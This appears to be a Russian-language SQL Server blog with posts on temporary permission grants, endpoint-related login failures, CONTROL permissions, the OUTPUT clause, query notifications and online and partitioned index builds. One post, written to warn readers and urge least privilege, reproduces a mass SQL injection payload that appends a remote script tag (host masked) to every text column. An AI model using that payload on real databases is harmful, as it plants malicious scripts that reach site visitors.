SQL Server inside

Предоставление временных прав с помощью SQL Server Agent Jobs

Довольно распространенная ситуация – пользователю срочно нужно получить некоторые данные для отчета; в «нормальной жизни» он не имеет прав просматривать эти данные непосредственно, но в данный момент, например, его коллега (который имеет соответствующие права), в отпуске, отчет нужен уже вчера, все в панике…

Что делает в такой ситуации администратор? Ну, например, он предоставляет данному пользователю права на просмотр данных и записывает себе на бумажке: «Отменить права Васи просматривать годовой отчет». Дальше все просто – бумажка теряется, Вася на веки остается с правами, которые ему не полагаются.

Есть способ дать пользователю временные права, которые автоматически будут истекать в определенное  время.

Допустим, у нас есть пользователь Bob и процедура p_test, которую ему срочно нужно исполнить. Воспользуемся SQL Server Agent Jobs. Вы даете пользователю права на исполнение этой процедуры (GRANT EXECUTE ON p_test TO Bob) и создаете Job, который будет исполняться один раз в назначенное время, и будет отменять права пользователя на исполнение.

Создать Job можно через UI SQL Server Management Studio (SQL Server Agent -> Jobs -> New Job…) или программно. Например, следующий скрипт создает Job для отмены права пользователя Bob исполнять процедуру p_test и программирует ее исполнение (создает Schedule) один раз 10.06.2009 в 23:59:59

DECLARE @jobId BINARY(16)

EXEC msdb.dbo.sp_add_job @job_name=N'RevokeTempPerm',

            @enabled=1,

            @notify_level_eventlog=0,

            @notify_level_email=0,

            @notify_level_netsend=0,

            @notify_level_page=0,

            @delete_level=0,

            @description=N'To revoke temporary permissions',

            @category_name=N'[Uncategorized (Local)]',

            @owner_login_name=N'sa', @job_id = @jobId OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RevokeTempPerm',

            @step_id=1,

            @cmdexec_success_code=0,

            @on_success_action=1,

            @on_success_step_id=0,

            @on_fail_action=2,

            @on_fail_step_id=0,

            @retry_attempts=0,

            @retry_interval=0,

            @os_run_priority=0, @subsystem=N'TSQL',

            @command=N'REVOKE EXECUTE ON p_test TO Bob',

            @database_name=N'db_source',

            @flags=0

EXEC msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'RevokeTempPerm',

            @enabled=1,

            @freq_type=1,

            @freq_interval=0,

            @freq_subday_type=0,

            @freq_subday_interval=0,

            @freq_relative_interval=0,

            @freq_recurrence_factor=0,

            @active_start_date=20090610,

            @active_end_date=99991231,

            @active_start_time=0,

            @active_end_time=235959,

            @schedule_uid=N'0882904e-9eaa-46ee-b8f2-ccfb56b88492'

EXEC msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'

GO

Аналогично можно создавать Job автоматически предоставляющий определенные права пользователям в определенное время.

Побочным эффектом такого метода является то, что со временем такие Job's могут накапливаться. Соответственно, можно будет создать процедуру исполняющуюся время от времени и удаляющую просроченные Job, либо переиспользовать  их меняя график их выполнения (Schedule).

Эти коварные "конечные точки"

Несколько раз сталкивалась с проблемой – в какой-то момент пользователь теряет право login-а в SQL Server. Никаких видимых причин – изменения прав, удаления login-а – а пользователь получает ошибку “Login failed”.

В чем была причина, в тех случаях, о которых идет речь…

Представим следующий сценарий:

1)      Вы создаете новую конечную точку для TCP:

CREATE ENDPOINT tcp_endpoint

    STATE = STARTED

    AS TCP(LISTENER_PORT = 7022)

    FOR TSQL()

   GO

      При этом вы получаете следующее предупреждение:

«Creation of a TSQL endpoint will result in the revocation of any 'Public' connect permissions on the 'TSQL Default TCP' endpoint.  If 'Public' access is desired on this endpoint, reapply this permission using 'GRANT CONNECT ON ENDPOINT::[TSQL Default TCP] to [public]'.»

Однако точка успешно создается, так что предупреждение остается без внимания J

2)      Через какое-то время вы удаляете недавно созданную конечную точку:

DROP ENDPOINT tcp_endpoint

GO

И – сюрприз, сюрприз – у вас начинаются проблемы с невозможностью залогиниться.

Что произошло…

По умолчанию, в SQL Server существуют конечные точки для всех протоколов:

По умолчанию же, серверная роль public (все логины принадлежат этой роли) имеет право коннектиться через эти конечные точки. Т.е., если пользователь пытается соединиться с SQL Server, например, протокол TCP\IP, он будет соединяться через конечную точку [TSQL Default TCP] и должен иметь соответствующие права. Как я уже сказала, по умолчанию он их имеет, т.к. принадлежит серверной роли public, которая, в свою очередь, имеет права соединяться через дефолтные конечные точки.

Когда вы создаете новую конечную точку для TCP протокола, права public на дефолтную конечную точку отменяются, но, когда вы эту новую точку удаляете, они не возвращаются (о чем, собственно, и говорит предупреждение, приведенное выше). Таким образом, серверная роль public не имеет больше прав соединяться, используя протокол TCP\IP.

Как распознать…

Errorlog будет содержать ошибку «Login failed» со статусом 11 или 12. Например:

2009-05-22 18:33:25.78 Logon       Error: 18456, Severity: 14, State: 12.

2009-05-22 18:33:25.78 Logon       Login failed for user 'lgn_valid'. Reason: Login-based server access validation failed with an infrastructure error. Check for previous errors. [CLIENT: ...]

Следующий запрос возвращает список конечных точек, права соединяться через которые даны public:

Select sp.permission_name, sp.state_desc, ep.name

from sys.server_permissions sp join sys.endpoints ep

      on sp.major_id = ep.endpoint_id

where sp.grantee_principal_id = 2 and sp.class = 105

GO

В нашем примере результат будет таким:

CONNECT            GRANT                 TSQL Local Machine

CONNECT            GRANT                 TSQL Named Pipes

CONNECT            GRANT                 TSQL Default VIA

Как видно, протокол TCP отсутствует в списке.

Как поправить…

Нужно вернуть права соединяться через данную конечную точку серверной роли public:

GRANT CONNECT ON ENDPOINT::[TSQL Default TCP] to public

GO

Субботнее чтение для дизайнеров и администраторов Web приложений: SQL injection атаки

Вот здесь собрана информация об участившихся последнее время SQL injection атаках, а также рекомендации по предотвращению таковых: http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

Все на английском. Резюме: С конца прошлого года сейчас идет уже четвертая волна SQL injection атак на Web приложения. Эти атаки не результат каких-либо уязвимостей в SQL Server или IIS; атаки используют уязвимости самих Web приложений. Основная схема атак: нахождение Web приложений дающих пользователям достаточные права на SQL Server-е и исполнение примерно следующего кода:

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='U' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.************.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Такой запрос обновляет данные во всех символьных колонках в пользовательских таблицах на SQL Server-е, добавляя к ним ссылку на некоторый скрипт, которая теперь и будет возвращаться пользователям вашего приложения вместе с данными.

Основной совет: Web приложения должны использовать минимальные необходимые привилегии на SQL Server-е своим пользователям. По ссылке все расписано довольно подробно и также даются рекомендации как проверить не подверглись ли вы такой атаке.

Всем хороших выходных J

Ошибка ”login failed for user …”: что делать?

Диагностика ошибок аутентификация в SQL Server может оказаться весьма проблематичной (и мы работаем над ее улучшением J) и этому есть несколько причин. Из соображений безопасности мы не хотим возвращать пользователю подробное описание проблемы. Более подробную информацию о причине ошибки можно найти в журнал регистрации ошибок. Например:

Клиент получает сообщение:

Login failed for user 'sa'.

Журнал регистрации ошибок содержит следующую запись:

Error: 18456, Severity: 14, State: 8. Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: <local machine>]

Здесь уже имеется дополнительная информация о причине ошибки (неправильный пароль) и о клиентской машине, с которой пытались произвести аутентификацию (либо local mchine либо IP адрес).

Однако некоторые причины могут быть не столь очевидны. Некоторые причины неудачной аутентификации можно определить по статусу (State) ошибки. Ниже приведены возможные значения статуса ошибки 18456 и их расшифровка:

- Ошибка со статусом 2 – ошибка Windows аутентификации: удаленный Windows пользователь не может быть проассоциирован с Windows пользователем на сервере; ошибка со статусом 5 – ошибка SQL аутентификации: пользователь с таким именем не найден;

- Аналогично: ошибка со статусом 9 может произойти при Windows аутентификации (в отличии от ошибки со статусом 8 – SQL аутентификация) – например при попытке аутентификации с удаленной машины с другими требованиями к паролю;

- Большинство проблем возникает с диагностикой причин ошибок со статусом 1, 11 или 12. Наиболее частые их причины лежат в конфигурации самой машины и Windows конфигурации: брандмауэр,  Active Directory и т.д. Чтобы понять причину такой ошибки можно воспользоваться внутренним буфером (токая возможность добавлена в SQL Server 2005 SP2), который собирает коды ошибок возвращаемых Win API , и произошедших в процессе аутентификации. Посмотреть содержимое буфера можно с помощью следующей команды:

Select * from sys.dm_os_ring_buffers

where ring_buffer_type = 'RING_BUFFER_SECURITY_ERROR'

Результат в XML формате содержит имя Win API вернувшей ошибку и код ошибки. Например:

<Record id="197" type="RING_BUFFER_SECURITY_ERROR" time="3552445157">

  <Error>

    <SPID>158</SPID>

    <APIName>NetValidatePwdPolicy</APIName>

    <CallingAPIName>CAPIPwdPolicyManager::ValidatePwdForLogin</CallingAPIName>

    <ErrorCode>0x89B</ErrorCode>

  </Error>

</Record>

NetValidatePwdPolicy вернула ошибку 89B. Зная API и код ошибки можно найти (в msdn, например) описание ее причины:

0x89B = 2203 = The password parameter is invalid.

Еще одной распространенной причиной ошибок аутентификации со статусом 12 являются SQL Server Endpoints (конечная точка (?)). Если пользователь не имеет прав на Endpoint, через которую он пытается присоединиться к серверу (а именно: CONNECT ON ENDPOINT), он получит ошибку со статусом 12.

В следующий раз я подробнее расскажу о SQL Server Endpoints.  Следите за рекламой J

Возвращение :)

Я здесь давно не была и прошу за это прощения. У меня есть несколько оправданий J

Во-первых, мы очень-очень торопились закончить очередную версию SQL Server – SQL Server 2008, который будет выпущен уже совсем скоро.

Во-вторых, я перешла в другу группу внутри SQL Server – SQL Server Security и мне нужно было время освоиться на новом месте.

Как вы понимаете, писать я теперь буду в основном про безопасность SQL Server-а и всю связанную с этим функциональность.

Итак, поехали…

SQL Server 2005: права доступа типа - Control

Знаете ли Вы что…

В SQL Server 2005 возможно дать пользователю права доступ типа Control к объекту (таблице, виду и т.д.), который фактически дает те же права, что и у собственника объекта.

Пример:

GRANT CONTROL

ON t_Table TO Uesr1

GO

Control имеет некоторые особенности.

Обычно цепочка предоставлений прав доступа к объекту пользователями всегда хранится, на случай, если в дальнейшем эти права будут отменены с использованием опции Cascade.

Например:

1. пользователь User1 дал права доступа типа Select к объекту Table пользователю User2;

2. права пользователя User1 по доступу к объекту Table были отменены с использованием опции Cascade;

3. в результате User2 также лишился прав доступа к объекту.

С Control ситуация выглядит иначе.

Пример:

1.владелец объекта дал права доступа к объекту типа Control пользователю User1 с использованием опции GRANT OPTION;

2.пользователь User1 дал права доступа типа Control пользователю User2;

3.права пользователя User1 по доступу к объекту были отменены с использованием опции Cascade;

4.пользователь User2 по-прежнему имеет права Control на объект.

Grant Control on T

to usr1

WITH GRANT OPTION

go

Execute as user = 'usr1'

go

Grant Control on T

to usr2

go

REVERT

go

Revoke Control on T

from usr1 Cascade

go

--Usr2 по-прежнему имеет права Control на T

Как обойти эту ситуацию…

Если требуется, чтобы права Control были отменены у всех пользователей, которым их дал User1, User1 должен быть явно указан в момент предоставления прав другому пользователю:

Grant Control on T

to usr2

as usr1

go

Использование оператора OUTPUT для отслеживания изменений DML

Знаете ли вы, что…

Вы можете отслеживать изменения данных без использования триггеров:

В SQL Server 2005 оператор OUTPUT является частью синтаксиса DML предложений.

Например:

INSERT

    [ TOP ( expression ) [ PERCENT ] ]

    [ INTO ]

    { <object> | rowset_function_limited

      [ WITH ( <Table_Hint_Limited> [ ...n ] ) ]

    }

{

    [ ( column_list ) ]

    [ <OUTPUT Clause> ]

    { VALUES ( ( { DEFAULT | NULL | expression } [ ,...n ] ) [ ,...n ] )

    | derived_table

    | execute_statement

    | <dml_table_source>

    | DEFAULT VALUES

    }

}

Оператор OUTPUT может сохранять результирующее множество строк затронутых DML оператором в таблицу или переменную типа таблица.

Например, сохранить все добавленные (или удаленные) строки.

Функционально это похоже на промежуточные таблицы INSERTED и DELETED, используемые триггерами.

Пример:

--Создадим таблицу Address

Create Table Address (ProductID Int, SupplierID Int, Address Varchar(255))

--Вставим данные в таблицу

Insert into Address Values (234,567,'1234 One SQL Way, Microsoft City, U.S.')

Insert into Address Values (345,678,'1234 One Windows Way, Microsoft City, WA')

--Объявим табличную переменную

Declare @Recordchanges table (change Varchar(255))

--Обновим данные в таблице

Update Address

Set Address=reverse(address)

--Запишем изменения в табличную переменную

OUTPUT 'Изначальные данные:' + DELETED.Address+' изменены на: '+ INSERTED.Address+'' into @RecordChanges

--Читаем изменения из табличной переменной

Select * from @RecordChanges

На выходе имеем:

Change

------------------------

Изначальные данные:'1234 One SQL Way, Microsoft City, U.S.' has been изменены на: '.S.U ,ytiC tfosorciM ,yaW LQS enO 4321'

Изначальные данные:'1234 One Windows Way, Microsoft City, WA' has been изменены на: 'AW ,ytiC tfosorciM ,yaW swodniW enO 4321'

Извещение об изменениях в результатах запроса (Query Notification)

Знаете ли вы, что…

Query Notification в SQL 2005 – новая функциональность, позволяющая отправить запрос на SQL Server и потребовать генерации извещения в случае, если исполнение этого запроса вернет результат отличный от полученного изначально. Это значит, что если произошли какие-то изменения в данных таблиц, включенных в запрос, .NET код будет автоматически извещен.

Команды, посылаемые на сервер через клиентский API(ADO.NET, OLE DB, ODBC, SOAP) могут содержать свойство Notification, которое создать «подписку» на оповещение об изменении данных.

Например:

……………………………………………………………………………

SqlConnection c = new SqlConnection(…………………………);

SqlCommand cm = c.CreateCommand();

cm.CommandText = "Select id, time from dbo.t_table";

SqlString notifyId = "Notification_Id";

SqlString notifOpt = "service = service_name; local database = database_name";

int timeOut = 50000;

cm.Notification = new SqlNotificationRequest (notifyId.ToString(), notifOpt.ToString(), timeOut);

……………………………………………………………………………

Теперь, если результат, возвращаемый запросом Select id, time from dbo.t_table изменится, приложение получит извещение.

Эта технология может быть особенно полезна для кэширования результатов для web-сайтовских приложений.

Более подробно (но на английском J) можно почитать, например, здесь:

http://msdn2.microsoft.com/en-us/library/ms379594(VS.80).aspx

Исполнения T-SQL команд на удаленном сервере с помощью EXECUTE AT

Ну, вот. С индексами разобрались. Теперь, как и обещала, короткие (и не очень) сообщения в стиле «Tips & Tricks».

Знаете ли вы, что…

В предыдущих версиях SQL Server (до SQL Server 2005) команду EXECUTE можно было выполнять только на локальном сервере. В SQL Server 2005 команда EXECUTE имеет параметр AT, который используется для выполнения EXECUTE на удаленном linked сервере.

Пример:

--------

--Добавим linked сервер на локальной машине:

EXEC sp_addlinkedserver 'SQLSERVER2', 'SQL Server'

--Разрешим RPC вызовы

Exec SP_Serveroption 'SQLSERVER2','RPC OUT',TRUE

Все готово для выполнения T-SQL команд на linked сервере:

EXEC('Select * from AdventureWorksDW..DatabaseLog') AT SQLSERVER2

Построение индексов – часть 7: Фоновое построение индексов (Часть 2)

Последовательность фонового построения индекса:

    1.   Ждем пока завершаться исполняющиеся на данный момент DML операции;

2. Берем Intend Share (IS) блокировку на таблицу - эта блокировка будет держаться до конца построения индекса, что ограничивает набор операций выполняемых в параллель с построением индекса. (Например: truncate table, BCP операции будут недоступны); 
3. Берем Share (S) блокировку, чтобы просканировать таблицу. Эта блокировка держится в течении короткого времени; любые параллельные операции на данных невозможны в этот период;
4. Отпускаем Share блокировку; 
5. Собственно построение индекса – сканирование, сортировка, построение индексного дерева; 
6. Если нужно перестроит некластерные индексы* – возвращаемся к шагу 2 и повторяем для каждого индекса;
7. Заканчиваем построение:

а. Если удаляется существующий индекс – берем Schema Modification блокировку (SCH_M). Например: построение кластерного индекса требует удаления кучи – следовательно необходимо взять SCH_M блокировку**. Эта блокировка конфликтует с любой параллельной деятельностью, включая чтение данных (Select);

б. Если просто создается некластерный индекс – берется S блокировка;

в. Изменяем версию метаданных для таблицы;

г. Отпускаем блокировки;

д. Отложенное удаление старых индексов.

** Когда кластерный индекс модифицируется в фоновом режиме, все некластерные индексы, существующие на таблицы также перестраиваются. 

Построение индексов – часть 7: Фоновое построение индексов (Часть 1)

В SQL Server 2005 стало возможно строить, перестраивать и удалять* индексы фоновом режиме. Это позволяет проводить текущее обслуживание, не прерывая основной работы. Опция «ONLINE» делает возможным параллельный доступ к данным таблицы/индекса во время построения/перестроения индекса. Например, когда один пользователь перестраивает кластерный индекс, другой пользователь может получать и обновлять данные таблицы, для которой перестраивается индекс. Для сравнения: при автономном построении индекса, построитель индекса держит эксклюзивную блокировку на таблицу и индекс в течение всего времени построения, что не дает получать или обновлять данные таблицы/индекса.

*Операция фонового удаления индекса возможна только для кластерного индекса (см. также «соображения производительности» в следующем сообщении).

Пример:

Create clustered Index idx_01 on t_01(c1)

WITH(ONLINE = ON)

go

Фоновое построение индексов имеет определенные ограничения:

·         Если таблица имеет солонки типа:  image, ntext, text, varchar(max), nvarchar(max), varbinary(max), xml - кластерный индекс на такой таблице может быть построен только в автономном режиме (Offline).

 ·     Неуникальный некластерный индекс может быть построен в фоновом режиме, если таблица содержит вышеперечисленные типы данных, но только если эти колонки не являются частью индекса. Индекс, частью которого являются колонки с такими типами данных должен строиться в автономном режиме.

·      Индексы на локальных временных таблицах не могут быть построены, перестроены или удалены в фоновом режиме. Однако, это ограничение не распространяется на глобальные временные таблицы.

(подробный список ограничений для фоновых индексных операций см. документацию)

Таблица, для которой строится (перестраивается, удаляется) индекс не может модифицироваться (Alter table), удаляться и для нее нельзя выполнять операцию Truncate во время фоновой индексной операции.

Когда кластерный индекс таблицы перестраивается, то все не-кластерные индексы, существующие на той же таблице, также перестраиваются в фоновом режиме.

Когда уникальный индекс строится в фоновом режиме, построитель индекса и параллельная пользовательская транзакция (Insert, на пример) могут попытаться добавить одинаковое значение и, тем самым, нарушить уникальность. Если пользовательская транзакция успеет добавить неуникальное значение раньше, чем индекс для этого участка таблицы построен, операция построения индекса завершится с сообщением об имеющихся дубликатах и индекс построен не будет.

Несколько не-кластерных индексов могут строиться в фоновом режиме для одной таблицы параллельно.  Все остальные фоновые операции индексирования не могут выполняться параллельно друг с другом на одной таблице.

Читайте продолжение о фоновом построении индексов в следующих  постах J

Построение индексов – часть 6: построение секционированного индекса (Продолжение – Невыровненные индексы)

Параллельное построение невыровненных секционированных индексов (продолжение)

Базовая таблица  секционирована, с использованием другой схемы секционирования, чем  индекс:

Секционированная базовая таблица и секционированный индекс являются невыровненными если используют различные схемы секционирования или (как в примере ниже) секционированы по разным колонкам.

Пример:

Create Partition Function pf (int)

as range right for values (1,  100, 1000)                 

Create Partition Scheme ps as Partition pf

TO ([PRIMARY], [FG1], [FG2], [FG3])

Create table t (c1 int, c2 int)

on ps(c2)

Create clustered Index idx_t on t(c1)

on ps(c1)

Последовательный план построения невыровненного индекса выглядит следующим образом:

Построитель

              |

            Сортировка

              |

             NL

            /  \

     ПТС Сканирование

ПТС: Постоянный  табличный скан (задача ПТС – предоставить ID секций построителю)

NL: Nested Loop (вложенный цикл)

ПТС предоставляет ID секций внутренней стороне Nested Loop-а, который строит индекс для каждой секции. В остальном, план выглядит точно также как в случае с несекционированной базовой таблицей (см. предыдущий пост). Соответственно, требования к памяти и дисковому пространству – те же.

В случае параллельного построения:

  X(обмен)

               |

            Сортировка

               |

              X (обмен – ре-секционирование)

               |

             NL

              / \

           X   Сканирование

           / 

     ПТС

Итератор обмена выше ПТС (Х) получает данные о ID секций и подает их  внутренней стороне Nested Loop-а. Между этой точкой и ре-секционированием  каждый исполнитель получает 0-N секций в зависимости от распределения данных.

Ре-секционирование делит план построения индекса на две параллельно исполняемые части: различные исполнители выполняют работу до и после ре-секционирования. Каждый исполнитель получает №Секций /DOP (здесь имеется ввиду секций в строимом индексе, не в базовой таблице). Информация о секциях строимого индекса «спускается» итератору обмена – ре-секционирования, которые перераспределяет данные между промежуточными структурами сортировки. В остальном, план выглядит точно также как в случае с несекционированной базовой таблицей (см. предыдущий пост). Соответственно, опять таки, требования к памяти и дисковому пространству – те же.

Читайте в следующих  постах о фоновом построении индексов(Online Index Build) J

Построение индексов – часть 6: построение секционированного индекса (Продолжение – Невыровненные индексы)

Параллельное построение невыровненных секционированных индексов 

В одном из предыдущих постов я писала, что существуют две категории секционированных индексов:

• Выровненные (когда базовая таблица и индекс используют одинаковые функции секционирования)
• Невыровненные (когда базовая таблица и индекс используют одинаковые функции секционирования (включая случай, когда базовая таблица вообще не секционирована, а индекс секционирован).

Пришло время поговорить о втором случае – невыровненных секционированных индексах. Здесь существуют два возможных сценария:

• Базовая таблица не секционирована, а индекс секционирован;
• Базовая таблица и индекс используют разные функции секционирования

Базовая таблица не секционирована, а индекс секционирован:

Пример:

Create Partition Function pf (int)

as range right for values (1,  100, 1000)                 

Create Partition Scheme ps as Partition pf

TO ([PRIMARY], [FileGroup1], [FileGroup1], [FileGroup1])

Create table t (c1 int, c2 int)

Create clustered Index idx_t on t(c1) on ps(c1)  <--построение несекционированного индекса

План построения индекса в этом случае выглядит просто:

 Построитель

                                  |                

                         Сортировка

                                  |     

                       Сканирование

Для каждой секции такого индекса создается одна промежуточная структура сортировки (в примере выше, создается четыре секции индекса – значит будут созданы четыре промежуточные структуры сортировки). По умолчанию, используется пользовательская база данных для записи промежуточных результатов сортировки. Как уже упоминалось, каждый экстент памяти использующейся для хранения промежуточных сортировочных структур освобождается, как только все данные из него будут добавлены в дерево индекса. Таким образом, общий объем дискового пространства (в случае, если сортировка в памяти невозможна), необходимого для построения индекса уменьшается с 3х («куча» + сортировочная стрктура + дерево индекса) до 2,2х (приблизительно).

Таким образом, в случае сортировки в пользовательской базе данных  сортировка происходит в каждой filegroup для каждой соответствующей секции. Это означает, что каждая файловая группа должна иметь те же 2.2*(Размер секции) свободного дискового пространства для того, чтобы можно было построить индекс. А в случае сортировки в tempdb, требуется 2.2*(Размер всего индекса) свободного пространства в tempdb.

Построитель индекса может начать добавлять данные в дерево индекса после того, как созданы промежуточные сортировочные структуры для всех секций. Таким образом, одновременно будут существовать сортировочные структуры для всех секций. Как уже говорилось, каждая такая структура требует как минимум 40 страниц памяти. В итоге, минимальная требуемая память составляет -        №Секций * 40 страниц.

В случае параллельного построения, плана выглядит следующим образом:

                                X

                                 |

Построитель

                                 |                

                         Сортировка

                                 |     

                       Сканирование

Каждый исполнитель получает для построения число секций равное №Секций/DOP. Каждый исполнитель сканирует данные один раз и считывает данные принадлежащие его секциям, которые затем будут добавлены в соответствующие структуры сортировки.

После того, как все промежуточные структуры построены, построитель начинает строить дерево индекса, выбирая одну за другой промежуточные структуры сортировки и, строя b-дерево в файловой группе каждой секции. Одна секция не может быть распределена между несколькими исполнителями.

Требования к памяти и дисковому пространству, в этом случае, точно такие же, как и для последовательного построения. Это происходит потому, что в обоих случаях мы не можем начать построение финального b-дерева, пока не построены все промежуточные структуры сортировки.

Читайте в следующих  постах о построении не выровненного секционированного индекса в случае, когда базовая таблица и индекс используют разные функции секционированияJ

Организационное…

Во-первых, хочу сказать, что мне очень-очень стыдно, что я так давно не появлялась. Прошу меня простить – что-то совсем не было времени. Постараюсь исправится J.

Второе: придется еще немного потерпеть мои скучные рассказы о построении индексов J. Я планирую еще два –три поста на эту тему, а затем перейду в режим коротких и более частых постов в стиле «Tips & Tricks». Надеюсь, это будет повеселее.

 Ну, и третье:  в правом верхнем углу этого блога, под надписью Tags вы появилась ссылка на пост Вопрос – Ответ, специально предназначенный для произвольных вопросов по работе с SQL Server-ом. Так что, милости просим – спрашивайте.

Построение индексов – часть 6: построение секционированного индекса (Продолжение - Параллельное построение)

Параллельное построение выровненных секционированных индексов 

В случае параллельного построения индекса, сканирование и сортировка секций осуществляется параллельно и реальное число промежуточных структур сортировки существующих одновременно зависит от числа исполнителей работающих одновременно. Секции выбираются для сканирования и сортировки одна за другой и, когда один исполнитель заканчивает работу с очередной секцией, он выбирает следующую секцию, еще не взятую ни одним исполнителем. Каждый исполнитель, таким образом, строит 0 – N секций (одна секция не может быть распределена между несколькими исполнителями).  Почему может быть 0? Если  DOP (уровень параллелизма) > числа секций,  то не все исполнители получат секцию для работы над ней. Над какой секцией будет работать определенный исполнитель?  Это не детерминистическое решение.

Так как одна секция не может быть распределена между несколькими исполнителями, то самая большая секция становится «узким местом» в построении индекса. Возможна ситуация, когда все исполнители, кроме одного, закончили работу со своими секциями, а один продолжает сортировать самую большую секцию. Это значит, что ресурсы, задействованные в этом запросе (память и потоки) не будут доступны для других запросов, пока последний исполнитель не закончит свою работу.

Для построения секционированного индекса не нужна финальная «сшивка»  - каждая секция таково индекса существует как отдельное b-дерево.

Как это влияет на требования к свободному дисковому пространству:

-         В случае сортировки в пользовательской базе данных (установка по умолчанию) требования такие же, как и в случае последовательного построения (см. предыдущий пост).

-         В случае сортировки в tempdb (SORT_IN_TEMPDB = ON) мы не получим того же преимущества в использовании дискового пространства как в случае последовательного построения, так как несколько промежуточных структур сортировки могут существовать одновременно. Кроме того, так как распределение данных между секциями изначально не известно, считаем, что нам может потребоваться все те же 2.2*(Размер индекса) свободного дискового пространства в tempdb.

Некоторые соображения об использовании памяти:

Так как в одно и тоже время существует несколько промежуточных структура сортировки (реальное количество, существующих одновременно, структур будет зависеть от #DOP (уровня параллелизма) и количества секций), и каждая структура требует 40 страниц памяти, чтобы начать построение индекса, минимальная необходимая память составит - #DOP*40страниц.

Общее объем памяти = минимально требуемая память + дополнительная память.

* дополнительная память высчитывается как размер строки умноженный на  предполагаемое количество строк, предоставленное оптимизатором запросов.

Читайте в следующих постах о построении не выровненного секционированного индекса J